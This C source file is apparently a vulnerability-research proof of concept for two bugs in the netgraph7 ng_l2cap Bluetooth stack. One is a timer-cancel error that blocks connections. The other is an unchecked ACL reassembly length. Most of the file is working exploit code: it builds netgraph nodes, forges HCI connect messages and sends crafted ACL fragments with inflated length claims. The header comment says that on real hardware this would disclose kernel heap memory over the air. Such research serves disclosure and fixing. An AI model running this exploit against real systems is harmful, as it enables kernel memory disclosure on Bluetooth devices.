/*
 * DF-3524 / DF-3525 -- netgraph7 ng_l2cap lower-layer (HCI) interface
 *
 * DF-3524: ng_l2cap_lp_untimeout()/ng_l2cap_command_untimeout()
 *   (ng_l2cap_misc.c) treat ng_uncallout()==0 as "the timer already
 *   fired" and return ETIMEDOUT.  Under the DF-3515 callout_stop
 *   contract violation (armed stop completes inline, returns 0) every
 *   *successfully cancelled* armed timer also returns 0, so
 *   ng_l2cap_lp_con_cfm() (ng_l2cap_llpi.c:180-181) DISCARDS the
 *   positive LP_ConnectCfm: the connection stays W4_LP_CON_CFM with
 *   NG_L2CAP_CON_LP_TIMO stuck and no timer running -> no L2CAP
 *   connection can ever open; the con descriptor leaks.
 *
 *   Oracle: the synchronous reply to NGM_HCI_LP_CON_CFM itself carries
 *   ETIMEDOUT on the stock kernel (errno 73), and no L2CAP ECHO_RSP
 *   ever comes back.  With ng_uncallout fixed (callout_stop ->
 *   callout_cancel in ng7 ng_base.c) the reply is 0 and the echo
 *   round-trips.
 *
 * DF-3525: ng_l2cap_lp_receive() (ng_l2cap_llpi.c:600-732) trusts the
 *   attacker-supplied ACL payload-length field for its reassembly
 *   accounting: con->rx_pkt->m_pkthdr.len += length (:702) without ever
 *   checking `length` against the bytes actually present in the mbuf.
 *   A START fragment whose claim equals its actual bytes, plus zero-byte
 *   FRAGMENTs whose claims sum to the remaining L2CAP length, completes a
 *   "packet" whose m_pkthdr.len is up to 65539 while only ~8 real bytes
 *   exist.  ng_l2cap_receive()'s consistency check passes by
 *   construction; the echo response re-uses the lying mbuf and the lie
 *   lands in the outgoing ACL header (ng_l2cap_lp_send :523,:548):
 *   ACL length = 65531 with 12 real bytes.  On real Bluetooth hardware
 *   the driver TX path reads `length` bytes off the chain (DF-0508's
 *   ng_ubt usbd_m_copy_in sink) -> kernel heap disclosed over the air.
 *
 *   NOTE: on the STOCK kernel this is gated by DF-3524 (a con can never
 *   reach CON_OPEN), so this demo runs against the ng_uncallout-fixed
 *   module.  The DF-3515 kernel fix un-gates it in exactly the same way.
 *
 * modes:
 *   con     : CON_IND + CON_CFM + truthful echo  (DF-3524 oracle)
 *   lie     : same + inflated reassembly echo    (DF-3525)
 *
 * Build:  cc -O2 -o l2cap_con l2cap_con.c
 * Run:    ./l2cap_con <con|lie>
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/select.h>

/* ---- ng7 netgraph user ABI ---- */
#define AF_NG			32
#define NG_DATA			1
#define NG_CONTROL		2
#define NG_VERSION		8
#define NGM_GENERIC_COOKIE	1137070366
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4
#define NGM_NODEINFO		(6 | 0x10000000 | 0x20000000)

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32
#define NG_PATHSIZ		512

struct ngm_hdr_ {
	u_char	version; u_char spare; u_short spare2;
	u_int	arglen, cmd, flags, token, typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[1024]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_ { char name[NG_NODESIZ]; };
struct nodeinfo_ { char name[NG_NODESIZ]; char type[NG_TYPESIZ]; u_int32_t id; u_int32_t hooks; };
struct sockaddr_ng_ { u_char sg_len; sa_family_t sg_family; char sg_data[64]; };

/* ---- ng_hci ABI ---- */
#define NGM_HCI_COOKIE		1000774184
#define NGM_HCI_LP_CON_CFM	3	/* HCI -> Upper */
#define NGM_HCI_LP_CON_IND	4	/* HCI -> Upper */
#define NGM_HCI_NODE_UP		112	/* HCI -> Upper */

typedef struct { u_char b[6]; } bdaddr_;
struct con_cfm_ep_ { u_int8_t status; u_int8_t link_type; u_int16_t con_handle; bdaddr_ bdaddr; } __attribute__((packed));
struct con_ind_ep_ { u_int8_t link_type; u_int8_t uclass[3]; bdaddr_ bdaddr; } __attribute__((packed));
struct node_up_ep_ { u_int16_t pkt_size; u_int16_t num_pkts; u_int16_t reserved; bdaddr_ bdaddr; } __attribute__((packed));

#define NG_HCI_ACL_DATA_PKT	0x02
#define NG_HCI_PACKET_START	0x2	/* PB flag value */
#define NG_HCI_PACKET_FRAGMENT	0x1
#define MK_ACL_HDR(h, pb, len)	(0x0000 | (((pb) & 3) << 12) | ((h) & 0xfff)), 

/* ---- ng_l2cap ABI ---- */
#define NGM_L2CAP_COOKIE	1000774185
#define NG_L2CAP_SIGNAL_CID	0x0001
#define NG_L2CAP_ECHO_REQ	0x08
#define NG_L2CAP_ECHO_RSP	0x09

static u_int32_t tok = 0x1000;

static int
ng_send_msg2(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen, struct ng_mesg_ *reply)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);

	if (reply) {
		u_int32_t mytok = m.header.token;
		int tries;
		for (tries = 0; tries < 64; tries++) {
			n = recv(cs, reply, sizeof(*reply), 0);
			if (n < 0)
				return (-1);
			if (reply->header.token != mytok)
				continue;
			if (reply->header.flags & 1 /* NGF_RESP */) {
				if (reply->header.arglen == 4)
					return (-((int)*(u_int32_t *)reply->data ?
					    (int)*(u_int32_t *)reply->data : EIO));
				return (0);
			}
		}
		return (-1);
	}
	return (0);
}

static int
ng_send_msg(int cs, const char *path, u_int cmd, const void *arg,
    size_t arglen, struct ng_mesg_ *reply)
{
	return (ng_send_msg2(cs, path, NGM_GENERIC_COOKIE, cmd, arg, arglen,
	    reply));
}

static int
nodeinfo_id(int cs, u_int32_t *id)
{
	static struct ng_mesg_ reply;
	struct nodeinfo_ *ni;

	if (ng_send_msg(cs, ".", NGM_NODEINFO, NULL, 0, &reply) < 0)
		return (-1);
	ni = (struct nodeinfo_ *)reply.data;
	*id = ni->id;
	return (0);
}

/* little-endian helpers */
static void put16(u_char *p, u_int16_t v) { p[0] = v & 0xff; p[1] = v >> 8; }
static u_int16_t get16(const u_char *p) { return p[0] | (p[1] << 8); }

static int
wait_echo_rsp(int ds, u_char *out, size_t outsz, int sec)
{
	struct timeval tv;
	fd_set r;
	int n;

	tv.tv_sec = sec; tv.tv_usec = 0;
	FD_ZERO(&r); FD_SET(ds, &r);
	n = select(ds + 1, &r, NULL, NULL, &tv);
	if (n <= 0)
		return (-1);
	return (recv(ds, out, outsz, 0));
}

int
main(int argc, char **argv)
{
	int cs, cs2, ds, n, e;
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nam;
	struct sockaddr_ng_ sa;
	u_int32_t id;
	const char *mode = (argc > 1) ? argv[1] : "con";
	int do_lie = (strcmp(mode, "lie") == 0);
	u_char buf[2048];

	struct con_ind_ep_ ind;
	struct con_cfm_ep_ cfm;
	struct node_up_ep_ up;

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) { perror("control socket"); exit(1); }

	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "l2cap");
	strcpy(mkp.ourhook, "c0");
	strcpy(mkp.peerhook, "hci");
	if (ng_send_msg(cs, ".", NGM_MKPEER, &mkp, sizeof(mkp), NULL) < 0) {
		perror("mkpeer l2cap"); exit(1);
	}
	memset(&nam, 0, sizeof(nam));
	strcpy(nam.name, "l2c0");
	if (ng_send_msg(cs, "c0", NGM_NAME, &nam, sizeof(nam), NULL) < 0) {
		perror("name l2c0"); exit(1);
	}

	/* data socket on the CONTROL socket's node: its only hook (c0)
	 * is peered with l2c0:hci, so data writes land in lp_receive() */
	cs2 = cs;
	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0) { perror("data socket"); exit(1); }
	if (nodeinfo_id(cs, &id) < 0) { perror("nodeinfo"); exit(1); }
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", id);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		perror("connect data socket"); exit(1);
	}

	if (setgid(65534) || setuid(65534))
		perror("setuid (continuing)");

	/* 1. LP_ConnectInd -> creates con in W4_LP_CON_CFM, arms LP timer */
	memset(&ind, 0, sizeof(ind));
	ind.link_type = 1;		/* NG_HCI_LINK_ACL */
	ind.bdaddr.b[0] = 0xaa;	/* fake remote */
	e = ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, NGM_HCI_LP_CON_IND,
	    &ind, sizeof(ind), NULL);
	printf("LP_CON_IND          -> %s\n", e ? strerror(errno) : "ok");
	/* the node sends LP_ConnectRsp back out the hci hook: drain it */
	(void)recv(cs, buf, sizeof(buf), MSG_DONTWAIT);

	/* 2. NGM_HCI_NODE_UP: set pkt_size=65535 so lp_send emits ONE ACL */
	memset(&up, 0, sizeof(up));
	up.pkt_size = 65535;
	up.num_pkts = 8;
	e = ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, NGM_HCI_NODE_UP,
	    &up, sizeof(up), NULL);
	printf("HCI_NODE_UP         -> %s\n", e ? strerror(errno) : "ok");

	{
		u_int16_t dbg = 9;	/* NG_L2CAP_INFO_LEVEL and below */
		e = ng_send_msg2(cs, "c0", NGM_L2CAP_COOKIE, 0x402,
		    &dbg, 2, NULL);
		printf("L2CAP SET_DEBUG(9)  -> %s\n", e ? strerror(errno) : "ok");
		(void)recv(cs, buf, sizeof(buf), MSG_DONTWAIT);
	}

	/* 3. LP_ConnectCfm (positive) -- THE DF-3524 ORACLE */
	memset(&cfm, 0, sizeof(cfm));
	cfm.status = 0;
	cfm.con_handle = 0x0123;
	cfm.bdaddr = ind.bdaddr;
	e = ng_send_msg2(cs, "c0", NGM_HCI_COOKIE, NGM_HCI_LP_CON_CFM,
	    &cfm, sizeof(cfm), NULL);
	printf("LP_CON_CFM (pos)    -> %s   %s\n", e ? strerror(errno) : "ok",
	    e ? "<-- ConnectCfm DISCARDED (timer-path ETIMEDOUT)" :
	        "(connection accepted -> CON_OPEN)");

	/* 4. ECHO over ACL data */
	if (!do_lie) {
		/* truthful: single START fragment, claim == actual (12) */
		memset(buf, 0, 32);
		buf[0] = NG_HCI_ACL_DATA_PKT;
		put16(buf + 1, (0x0123 & 0xfff) | (NG_HCI_PACKET_START << 12));
		put16(buf + 3, 12);			/* claim == actual */
		put16(buf + 5, 8);			/* L2CAP len = 8 */
		put16(buf + 7, NG_L2CAP_SIGNAL_CID);
		buf[9] = NG_L2CAP_ECHO_REQ;		/* cmd hdr */
		buf[10] = 0x42;			/* ident */
		put16(buf + 11, 4);			/* cmd len = 4 */
		buf[13] = 'D'; buf[14] = 'F'; buf[15] = '2'; buf[16] = '5';
		{
			struct sockaddr_ng_ dsa;
			memset(&dsa, 0, sizeof(dsa));
			dsa.sg_family = AF_NG;
			strcpy(dsa.sg_data, "c0");
			dsa.sg_len = 2 + strlen(dsa.sg_data) + 1;
			if (sendto(ds, buf, 17, 0, (struct sockaddr *)&dsa, dsa.sg_len) != 17)
				perror("send echo req");
		}
		n = wait_echo_rsp(ds, buf, sizeof(buf), 3);
		if (n < 0) {
			printf("ECHO_RSP            -> NOT RECEIVED "
			    "(con never OPEN -- DF-3524 wedge)\n");
			fflush(stdout); sync();
			sleep(45);	/* let the operator read the log */
			return (1);
		}
		printf("ECHO_RSP            -> received %d bytes "
		    "(code=%#x) -- connection OPEN, echo works\n", n, buf[8]);
		return (0);
	}

	/* DF-3525: lying reassembly.
	 * START: actual 8 bytes (l2cap hdr + cmd hdr), claim 8 (must match).
	 * L2CAP length = 65523  =>  rx_pkt_len = 65527 - 8 = 65519
	 * FRAGMENT: claim 65519, ZERO actual payload bytes.
	 *   -> pkthdr.len = 8 + 65519 = 65527 (== L + 4), real bytes 8.
	 * cmd length = 65523 == pkthdr.len after m_adj(4) -> no m_split.
	 * echo response: +4 (cmd hdr) +4 (l2cap hdr) = 65535, real 12.
	 * lp_send with pkt_size 65535: single ACL, header length 65531,
	 * real bytes 12  ==>  ACL header claims 65519 bytes that do not
	 * exist (on real HW: driver TX reads past the chain end). */
	memset(buf, 0, 64);
	buf[0] = NG_HCI_ACL_DATA_PKT;
	put16(buf + 1, (0x0123 & 0xfff) | (NG_HCI_PACKET_START << 12));
	put16(buf + 3, 8);				/* claim == actual */
	put16(buf + 5, 65523);				/* L2CAP length L */
	put16(buf + 7, NG_L2CAP_SIGNAL_CID);
	buf[9] = NG_L2CAP_ECHO_REQ;
	buf[10] = 0x43;
	put16(buf + 11, 65519);				/* cmd length == L-4 */
	{
		struct sockaddr_ng_ dsa;
		memset(&dsa, 0, sizeof(dsa));
		dsa.sg_family = AF_NG;
		strcpy(dsa.sg_data, "c0");
		dsa.sg_len = 2 + strlen(dsa.sg_data) + 1;
		if (sendto(ds, buf, 13, 0, (struct sockaddr *)&dsa, dsa.sg_len) != 13)
			perror("send start");
	}
	usleep(10000);
	memset(buf, 0, 64);
	buf[0] = NG_HCI_ACL_DATA_PKT;
	put16(buf + 1, (0x0123 & 0xfff) | (NG_HCI_PACKET_FRAGMENT << 12));
	put16(buf + 3, 65519);				/* CLAIM, no data */
	{
		struct sockaddr_ng_ dsa;
		memset(&dsa, 0, sizeof(dsa));
		dsa.sg_family = AF_NG;
		strcpy(dsa.sg_data, "c0");
		dsa.sg_len = 2 + strlen(dsa.sg_data) + 1;
		if (sendto(ds, buf, 5, 0, (struct sockaddr *)&dsa, dsa.sg_len) != 5)
			perror("send fragment");
	}

	n = wait_echo_rsp(ds, buf, sizeof(buf), 3);
	if (n < 0) {
		printf("ECHO_RSP            -> NOT RECEIVED\n");
		return (1);
	}
	printf("ECHO_RSP            -> %d real bytes received\n", n);
	if (n >= 4 && buf[0] == NG_HCI_ACL_DATA_PKT) {
		u_int16_t acl_len = get16(buf + 3);
		printf("outgoing ACL header length field = %u\n", acl_len);
		printf("real payload bytes in mbuf chain  = %d\n", n - 4);
		if (acl_len > (u_int)(n - 4)) {
			printf("LIE PROPAGATED: ACL header claims %u bytes, "
			    "%d exist -> %d phantom bytes "
			    "(driver TX OOB read on real HW)\n",
			    acl_len, n - 4, acl_len - (n - 4));
			return (0);
		}
		printf("no lie (unexpected)\n");
	}
	return (1);
}